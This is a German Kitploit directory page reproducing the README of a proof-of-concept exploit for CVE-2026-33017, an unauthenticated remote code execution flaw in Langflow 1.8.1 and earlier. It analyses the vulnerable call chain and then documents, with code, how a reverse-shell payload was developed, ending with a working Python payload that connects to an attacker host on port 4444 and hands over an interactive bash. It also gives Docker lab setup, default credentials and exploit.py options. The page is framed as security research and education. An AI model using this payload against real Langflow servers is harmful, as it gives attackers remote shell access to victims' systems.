Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33017 — PoC-Exploit für eine nicht authentifizierte RCE in Langflow <=1.8.1, einschließlich Root-Cause-Analyse auf Quellcode-Ebene, AST-bewusstem Reverse-Shell-Payload, Docker-Lab, Patch-Diff und Erkennungsregeln. | Kitploit
Tools/GitHubGitHub/lxxexxbxx/cve-2026-33017
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC-Exploit für eine nicht authentifizierte RCE in Langflow <=1.8.1, einschließlich Root-Cause-Analyse auf Quellcode-Ebene, AST-bewusstem Reverse-Shell-Payload, Docker-Lab, Patch-Diff und Erkennungsregeln.

Repository anzeigen
1110vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Haftungsausschluss
Dieses Repository wurde für Sicherheitsforschung und Bildungszwecke erstellt.
Es darf nur in isolierten Testumgebungen verwendet werden.
Die Verwendung gegen nicht autorisierte Systeme ist eine Straftat und wird nach dem koreanischen Informations- und Kommunikationsnetzgesetz strafrechtlich verfolgt.


1. Schwachstellenübersicht

PunktInhalt
CVE-IDCVE-2026-33017
Betroffene SoftwareLangflow (KI-Workflow-Builder)
Betroffene VersionenLangflow ≤ 1.8.1
Patch-VersionLangflow ≥ 1.9.0
SchwachstellentypUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Fehlende Authentifizierung für kritische Funktion)
CVSS9.3 (Kritisch)
CISA KEVGelistet

2. Analyse der Schwachstellenursache

2-1. Anfälliger Endpunkt

POST /api/v1/build_public_tmp/{flow_id}/flow

Dies ist ein Endpunkt zum Erstellen öffentlicher Flows, der dafür ausgelegt ist, ohne Authentifizierung erreichbar zu sein.

2-2. Codeausführungspfad (Call Chain)

Der durch direkte Quellcode-Verfolgung bestätigte Ausführungspfad:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← Empfängt die Client-Eingabe unverändert (Schwachstelle)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← Reicht die Client-Daten unverändert weiter
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← Beliebige Codeausführung

2-3. AST-Knoten-Filterung — Die zentrale Einschränkung beim Payload-Design

Die Funktion prepare_global_scope() führt nicht alle Anweisungen des eingereichten Codes aus. Nach dem AST-Parsing werden nur bestimmte Knotentypen selektiert und ausgeführt:

# lfx/custom/validate.py — innerhalb von prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr-Knoten sind in keiner Liste enthalten → werden nicht ausgeführt

exec(compiled_code, exec_globals)  # nur definitions werden ausgeführt

Ausführbare AST-Knotentypen:

AST-KnotentypBeispielAusführung
FunctionDefdef _shell(): ...✅ Wird ausgeführt
ClassDefclass ExploitComponent(Component)✅ Wird ausgeführt
Assign_r = os.system("id")✅ Wird ausgeführt
AnnAssign_r: int = os.system("id")✅ Wird ausgeführt
Expros.system("id") (einzeln aufgerufen)❌ Wird ignoriert

Fazit: Der Payload muss zwingend in Form einer Assign-Zuweisung (_r = ...) verfasst sein, damit er ausgeführt wird.
Ein einfacher Funktionsaufruf (os.system("id")) wird als Expr-Knoten klassifiziert und vom Filter aussortiert.

2-4. Entwurf des Reverse-Shell-Payloads — Analyse von Versuchen und Fehlschlägen

Im Rahmen der Übung wurden mehrere Payload-Ansätze versucht; die jeweilige Fehlerursache wurde auf Quellcode-Ebene untersucht.

Versuch 1 — subprocess.Popen + wait() (fehlgeschlagen)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← blockiert hier

Fehlerursache: Der Langflow-Worker-Thread überwacht den Rückgabewert der Komponente und
schließt den Socket bei einem Timeout gewaltsam. Dadurch wird das Blockieren von _proc.wait() bedeutungslos.

Versuch 2 — Direkter Aufruf von os.execve() (fehlgeschlagen)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Fehlerursache: Gemäß POSIX-Regeln werden beim Aufruf von execve() in einem Multithread-Prozess
alle Threads außer dem aufrufenden Thread beendet → der gesamte uvicorn-Worker stürzt ab → HTTP 500.

Versuch 3 — os.fork() + execve() (fehlgeschlagen)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Fehlerursache: uvicorn erkennt den Kindprozess als abnormalen Beendigungszustand und
startet den Worker neu → HTTP 500.

Versuch 4 — threading.Thread(daemon=True) (fehlgeschlagen)

threading.Thread(target=_shell, daemon=True).start()

Fehlerursache: Ein Thread mit daemon=True wird beim Beenden des Hauptthreads (Langflow-Worker)
mit vernichtet. Der Thread stirbt bereits vor dem connect()-Versuch.

Finaler funktionierender Payload — threading.Thread(daemon=False) + Assign

# FunctionDef → wird ausgeführt
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → wird ausgeführt (ein einzelner Expr-Aufruf wird vom Filter ausgeschlossen, daher zwingend Variablenzuweisung)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Begründung für die Wahl von daemon=False:

  • daemon=True → wird zusammen mit dem Langflow-Worker-Thread beendet
  • daemon=False → unabhängiger Lebenszyklus vom Worker → Socket-Verbindung bleibt erhalten

3. Aufbau der Übungsumgebung

3-1. Dateistruktur

CVE-2026-33017/
├── README.md
├── Dockerfile              # Anfällige Langflow-1.8.1-Umgebung
├── Dockerfile.attacker     # Angreifer-Container (enthält curl, nc, net-tools)
├── docker-compose.yml      # Anfälliger Server + Angreifer-Container
├── entrypoint.sh           # Startet Langflow und erstellt öffentlichen Flow automatisch
├── exploit.py              # Reverse-Shell-PoC
└── poc.py                  # Blind-RCE-/Schwachstellenprüfung

3-2. Starten der Umgebung

# 1. Container bauen und starten
docker compose up --build

# 2. Zugriff auf die Langflow-Web-UI prüfen
# http://localhost:7860
# admin / admin123!

# 3. Container-IPs ermitteln
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Netzwerkkonfiguration

┌──────────────────────────────────────────────────┐
│  Docker-Bridge-Netzwerk: poc-net                 │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (Opfer)    │
│  langflow-attacker   172.19.0.3       (Angreifer)│
└──────────────────────────────────────────────────┘

4. Verwendung des PoC

4-1. exploit.py — Reverse Shell

Im Angreifer-Container ausführen:

docker exec -it langflow-attacker bash

# Automatikmodus (Token-Ausstellung + Erstellung öffentlicher Flow + integrierter Listener)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Optionen:

OptionBeschreibungStandardwert
--urlZiel-Langflow-URLPflichtfeld
--lhostReverse-Shell-Callback-IPPflichtfeld
--lportReverse-Shell-Callback-PortPflichtfeld
--flow-idUUID des öffentlichen Flows (wird bei Weglassen automatisch erstellt)automatisch
--userAdministrator-IDadmin
--passwordAdministrator-Passwortadmin123!
--no-listenIntegrierten Listener deaktivieren (bei Verwendung von externem nc)False
--timeoutHTTP-Timeout (Sekunden)30

Erwartete Ausgabe:

Tool herunterladen